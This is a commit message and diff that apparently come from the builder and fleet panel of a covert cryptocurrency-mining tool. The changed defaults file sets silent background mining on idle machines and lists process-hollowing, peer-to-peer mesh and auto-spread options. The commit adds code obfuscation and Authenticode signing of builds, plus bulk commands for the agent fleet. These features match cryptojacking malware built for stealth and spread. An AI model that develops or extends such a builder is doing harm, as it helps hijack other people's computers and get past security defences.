Add forge pipeline polish, simple forge UX, and fleet management upgrades.

Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.

server/web/src/help/forgeDefaults.ts

@@ -10,7 +10,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
   thread_mode: 'percent',
   thread_percent: 75,
   cpu_priority: 'below_normal',
-  mining_mode: 'always',
+  mining_mode: 'idle',
   display_mode: 'background',
   silent_mode: true,
   run_as: 'user',
@@ -41,10 +41,13 @@ export const FORGE_BUILD_DEFAULTS: Omit<
   process_hollowing: false,
   mesh_p2p: false,
   auto_spread: false,
+  obfuscate: false,
+  sign_build: false,
 };
 
 export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
   const publicUrl = config.server?.public_url?.trim();
+  const srv = config.server;
   return {
     ...FORGE_BUILD_DEFAULTS,
     worker_name: '',
@@ -54,5 +57,7 @@ export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: Server
     pool_port: config.pool.port,
     pool_tls: config.pool.use_tls,
     pool_pass: config.pool.password || 'x',
+    obfuscate: srv?.obfuscate_default ?? false,
+    sign_build: srv?.sign_enabled ?? false,
   };
 }